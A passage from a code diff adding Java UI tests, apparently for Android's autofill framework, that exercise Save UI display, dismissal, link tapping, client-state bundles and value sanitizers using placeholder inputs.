+            mActivity.mPassword.setText("42");
+            mActivity.mCommit.performClick();
+        });
+
+        // Save it...
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_USERNAME, SAVE_DATA_TYPE_PASSWORD);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertThat(saveRequest.contexts.size()).isEqualTo(2);
+
+        // Get username from 1st request.
+        final AssistStructure structure1 = saveRequest.contexts.get(0).getStructure();
+        assertTextAndValue(findNodeByResourceId(structure1, ID_INPUT), "108");
+
+        // Get password from 2nd request.
+        final AssistStructure structure2 = saveRequest.contexts.get(1).getStructure();
+        assertTextAndValue(findNodeByResourceId(structure2, ID_INPUT), "108");
+        assertTextAndValue(findNodeByResourceId(structure2, ID_PASSWORD), "42");
+    }
+
+    @Presubmit
+    @Test
+    public void testSave_launchIntent() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.setOnSave(WelcomeActivity.createSender(mContext, "Saved by the bell"))
+                .addResponse(new CannedFillResponse.Builder()
+                        .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                        .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+
+            // Disable autofill so it's not triggered again after WelcomeActivity finishes
+            // and mActivity is resumed (with focus on mInput) after the session is closed
+            mActivity.mInput.setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO);
+        });
+
+        // Save it...
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+        sReplier.getNextSaveRequest();
+
+        // ... and assert activity was launched
+        WelcomeActivity.assertShowing(mUiBot, "Saved by the bell");
+    }
+
+    @Presubmit
+    @Test
+    public void testSaveThenStartNewSessionRightAwayShouldKeepSaveUi() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+
+        // Make sure Save UI for 1st session was shown....
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Start new Activity to have a new autofill session
+        startActivityOnNewTask(LoginActivity.class);
+
+        // Make sure LoginActivity started...
+        mUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "id")
+                        .setField(ID_PASSWORD, "pwd")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+        // Trigger fill request on the LoginActivity
+        final LoginActivity act = LoginActivity.getCurrentActivity();
+        act.syncRunOnUiThread(() -> act.forceAutofillOnUsername());
+        sReplier.getNextFillRequest();
+
+        // Make sure Fill UI is not shown. And Save UI for 1st session was still shown.
+        mUiBot.assertNoDatasetsEver();
+        sReplier.assertNoUnhandledFillRequests();
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        mUiBot.waitForIdle();
+        // Trigger dismiss Save UI
+        mUiBot.pressBack();
+
+        // Make sure Save UI was not shown....
+        mUiBot.assertSaveNotShowing();
+        // Make sure Fill UI is shown.
+        mUiBot.assertDatasets("YO");
+    }
+
+    @Presubmit
+    @Test
+    public void testCloseSaveUiThenStartNewSessionRightAway() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+
+        // Make sure Save UI for 1st session was shown....
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Trigger dismiss Save UI
+        mUiBot.pressBack();
+
+        // Make sure Save UI for 1st session was canceled.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // ...then start the new session right away (without finishing the activity).
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("");
+            mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
+        });
+        sReplier.getNextFillRequest();
+
+        // Make sure Fill UI is shown.
+        mUiBot.assertDatasets("YO");
+    }
+
+    @Presubmit
+    @Test
+    public void testSaveWithParcelableOnClientState() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final AutofillId id = new AutofillId(42);
+        final Bundle clientState = new Bundle();
+        clientState.putParcelable("id", id);
+        clientState.putParcelable("my_id", new MyAutofillId(id));
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setExtras(clientState)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Save it...
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertMyClientState(saveRequest.data);
+
+        // Also check fillevent history
+        final FillEventHistory history = InstrumentedAutoFillService.getFillEventHistory(1);
+        @SuppressWarnings("deprecation")
+        final Bundle deprecatedState = history.getClientState();
+        assertMyClientState(deprecatedState);
+        assertMyClientState(history.getEvents().get(0).getClientState());
+    }
+
+    private void assertMyClientState(Bundle data) {
+        // Must set proper classpath before reading the data, otherwise Bundle will use it's
+        // on class classloader, which is the framework's.
+        data.setClassLoader(getClass().getClassLoader());
+
+        final AutofillId expectedId = new AutofillId(42);
+        final AutofillId actualId = data.getParcelable("id");
+        assertThat(actualId).isEqualTo(expectedId);
+        final MyAutofillId actualMyId = data.getParcelable("my_id");
+        assertThat(actualMyId).isEqualTo(new MyAutofillId(expectedId));
+    }
+
+    @Presubmit
+    @Test
+    public void testCancelPreventsSaveUiFromShowing() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Cancel session.
+        mActivity.getAutofillManager().cancel();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+
+        // Assert it's not showing.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Presubmit
+    @Test
+    public void testDismissSave_byTappingBack() throws Exception {
+        startActivity();
+        dismissSaveTest(DismissType.BACK_BUTTON);
+    }
+
+    @Test
+    public void testDismissSave_byTappingHome() throws Exception {
+        startActivity();
+        dismissSaveTest(DismissType.HOME_BUTTON);
+    }
+
+    @Presubmit
+    @Test
+    public void testDismissSave_byTouchingOutside() throws Exception {
+        startActivity();
+        dismissSaveTest(DismissType.TOUCH_OUTSIDE);
+    }
+
+    @Presubmit
+    @Test
+    public void testDismissSave_byFocusingOutside() throws Exception {
+        startActivity();
+        dismissSaveTest(DismissType.FOCUS_OUTSIDE);
+    }
+
+    private void dismissSaveTest(DismissType dismissType) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Then make sure it goes away when user doesn't want it..
+        switch (dismissType) {
+            case BACK_BUTTON:
+                mUiBot.pressBack();
+                break;
+            case HOME_BUTTON:
+                mUiBot.pressHome();
+                break;
+            case TOUCH_OUTSIDE:
+                mUiBot.assertShownByText(TEXT_LABEL).click();
+                break;
+            case FOCUS_OUTSIDE:
+                mActivity.syncRunOnUiThread(() -> mActivity.mLabel.requestFocus());
+                mUiBot.assertShownByText(TEXT_LABEL).click();
+                break;
+            default:
+                throw new IllegalArgumentException("invalid dismiss type: " + dismissType);
+        }
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Presubmit
+    @Test
+    public void testTapHomeWhileDatasetPickerUiIsShowing() throws Exception {
+        startActivity();
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mUiBot.assertShownByRelativeId(ID_INPUT).click();
+        sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("YO");
+        callback.assertUiShownEvent(mActivity.mInput);
+
+        // Go home, you are drunk!
+        mUiBot.pressHome();
+        mUiBot.assertNoDatasets();
+        callback.assertUiHiddenEvent(mActivity.mInput);
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO2"))
+                        .build())
+                .build());
+
+        // Switch back to the activity.
+        restartActivity();
+        mUiBot.assertShownByText(TEXT_LABEL, Timeouts.ACTIVITY_RESURRECTION);
+        sReplier.getNextFillRequest();
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("YO2");
+        callback.assertUiShownEvent(mActivity.mInput);
+
+        // Now autofill it.
+        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+        mUiBot.selectDataset(datasetPicker, "YO2");
+        autofillExpecation.assertAutoFilled();
+    }
+
+    @Presubmit
+    @Test
+    public void testTapHomeWhileSaveUiIsShowing() throws Exception {
+        startActivity();
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save, but don't tap it.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Go home, you are drunk!
+        mUiBot.pressHome();
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Prepare the response for the next session, which will be automatically triggered
+        // when the activity is brought back.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Switch back to the activity.
+        restartActivity();
+        mUiBot.assertShownByText(TEXT_LABEL, Timeouts.ACTIVITY_RESURRECTION);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger and select UI.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+        mUiBot.selectDataset("YO");
+
+        // Assert it.
+        autofillExpecation.assertAutoFilled();
+    }
+
+    @Override
+    protected void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception {
+        startActivity();
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> builder
+                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+        // Tap the link.
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // .. then do something to return to previous activity...
+        switch (type) {
+            case ROTATE_THEN_TAP_BACK_BUTTON:
+                // After the device rotates, the input field get focus and generate a new session.
+                sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+                mUiBot.setScreenOrientation(UiBot.LANDSCAPE);
+                WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+                // not breaking on purpose
+            case TAP_BACK_BUTTON:
+                // ..then go back and save it.
+                mUiBot.pressBack();
+                break;
+            case FINISH_ACTIVITY:
+                // ..then finishes it.
+                WelcomeActivity.finishIt();
+                break;
+            default:
+                throw new IllegalArgumentException("invalid type: " + type);
+        }
+        // Make sure previous activity is back...
+        mUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // ... and tap save.
+        final UiObject2 newSaveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+        mUiBot.saveForAutofill(newSaveUi, true);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+    }
+
+    @Override
+    protected void cleanUpAfterScreenOrientationIsBackToPortrait() throws Exception {
+        sReplier.getNextFillRequest();
+    }
+
+    @Override
+    protected void tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction action,
+            boolean manualRequest) throws Exception {
+        startActivity();
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> builder
+                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+        // Tap the link.
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown.
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Tap back to restore the Save UI...
+        mUiBot.pressBack();
+        // Make sure previous activity is back...
+        mUiBot.assertShownByRelativeId(ID_LABEL);
+
+        // ...but don't tap it...
+        final UiObject2 saveUi2 = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // ...instead, do something to dismiss it:
+        switch (action) {
+            case TOUCH_OUTSIDE:
+                mUiBot.assertShownByRelativeId(ID_LABEL).longClick();
+                break;
+            case TAP_NO_ON_SAVE_UI:
+                mUiBot.saveForAutofill(saveUi2, false);
+                break;
+            case TAP_YES_ON_SAVE_UI:
+                mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+                final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+                assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+                break;
+            default:
+                throw new IllegalArgumentException("invalid action: " + action);
+        }
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Now triggers a new session and do business as usual...
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        if (manualRequest) {
+            mActivity.syncRunOnUiThread(
+                    () -> mActivity.getAutofillManager().requestAutofill(mActivity.mInput));
+        } else {
+            mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+        }
+
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("42");
+            mActivity.mCommit.performClick();
+        });
+
+        // Save it...
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "42");
+    }
+
+    @Override
+    protected void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception {
+        startActivity(false);
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> builder
+                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+        // Tap the link.
+        tapSaveUiLink(saveUi);
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        switch (type) {
+            case LAUNCH_PREVIOUS_ACTIVITY:
+                startActivityOnNewTask(SimpleSaveActivity.class);
+                break;
+            case LAUNCH_NEW_ACTIVITY:
+                // Launch a 3rd activity...
+                startActivityOnNewTask(LoginActivity.class);
+                mUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
+                // ...then go back
+                mUiBot.pressBack();
+                break;
+            default:
+                throw new IllegalArgumentException("invalid type: " + type);
+        }
+        // Make sure right activity is showing
+        mUiBot.assertShownByRelativeId(ID_INPUT, Timeouts.ACTIVITY_RESURRECTION);
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "Service-specific test")
+    public void testSelectedDatasetsAreSentOnSaveRequest() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                // Added on reversed order on purpose
+                .addDataset(new CannedDataset.Builder()
+                        .setId("D2")
+                        .setField(ID_INPUT, "id again")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("D2"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("D1")
+                        .setField(ID_INPUT, "id")
+                        .setPresentation(createPresentation("D1"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Select 1st dataset.
+        final FillExpectation autofillExpecation1 = mActivity.expectAutoFill("id");
+        final UiObject2 picker1 = mUiBot.assertDatasets("D2", "D1");
+        mUiBot.selectDataset(picker1, "D1");
+        autofillExpecation1.assertAutoFilled();
+
+        // Select 2nd dataset.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+        final FillExpectation autofillExpecation2 = mActivity.expectAutoFill("id again", "pass");
+        final UiObject2 picker2 = mUiBot.assertDatasets("D2");
+        mUiBot.selectDataset(picker2, "D2");
+        autofillExpecation2.assertAutoFilled();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("ID");
+            mActivity.mPassword.setText("PASS");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = mUiBot.assertUpdateShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Save it...
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
+        assertThat(saveRequest.datasetIds).containsExactly("D1", "D2").inOrder();
+    }
+
+    @Override
+    protected void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
+            throws Exception {
+        // Prepare activity.
+        startActivity();
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.getRootView()
+                .setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS)
+        );
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> builder
+                        .setCustomDescription(
+                                newCustomDescription(TrampolineWelcomeActivity.class)))
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(
+                () -> mActivity.getAutofillManager().requestAutofill(mActivity.mInput));
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+        // Tap the link.
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+
+        // Save UI should be showing as well, since Trampoline finished.
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Dismiss Save Dialog
+        mUiBot.pressBack();
+        // Go back and make sure it's showing the right activity.
+        mUiBot.pressBack();
+        mUiBot.assertShownByRelativeId(ID_LABEL);
+
+        // Now start a new session.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PASSWORD)
+                .build());
+
+        // Trigger autofill on password
+        mActivity.syncRunOnUiThread(
+                () -> mActivity.getAutofillManager().requestAutofill(mActivity.mPassword));
+        sReplier.getNextFillRequest();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPassword.setText("42");
+            mActivity.mCommit.performClick();
+        });
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "42");
+    }
+
+    @Presubmit
+    @Test
+    public void testSanitizeOnSaveWhenAppChangeValues() throws Exception {
+        startActivity();
+
+        // Set listeners that will change the saved value
+        new AntiTrimmerTextWatcher(mActivity.mInput);
+        new AntiTrimmerTextWatcher(mActivity.mPassword);
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
+                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+                    builder.addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId,
+                            passwordId);
+                })
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("id");
+            mActivity.mPassword.setText("pass");
+            mActivity.mCommit.performClick();
+        });
+
+        // Save it...
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "id");
+        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "pass");
+    }
+
+    @Test
+    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
+    public void testSanitizeOnSaveNoChange() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setOptionalSavableIds(ID_PASSWORD)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
+                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+                    builder.addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId,
+                            passwordId);
+                })
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("#id#");
+            mActivity.mPassword.setText("#pass#");
+            mActivity.mCommit.performClick();
+        });
+
+        // Save it...
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "id");
+        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "pass");
+    }
+
+    @Test
+    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
+    public void testDontSaveWhenSanitizedValueForRequiredFieldDidntChange() throws Exception {
+        startActivity();
+
+        // Set listeners that will change the saved value
+        new AntiTrimmerTextWatcher(mActivity.mInput);
+        new AntiTrimmerTextWatcher(mActivity.mPassword);
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
+                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+                    builder.addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId,
+                            passwordId);
+                })
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("id");
+            mActivity.mPassword.setText("pass");
+            mActivity.mCommit.performClick();
+        });
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Test
+    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
+    public void testDontSaveWhenSanitizedValueForOptionalFieldDidntChange() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
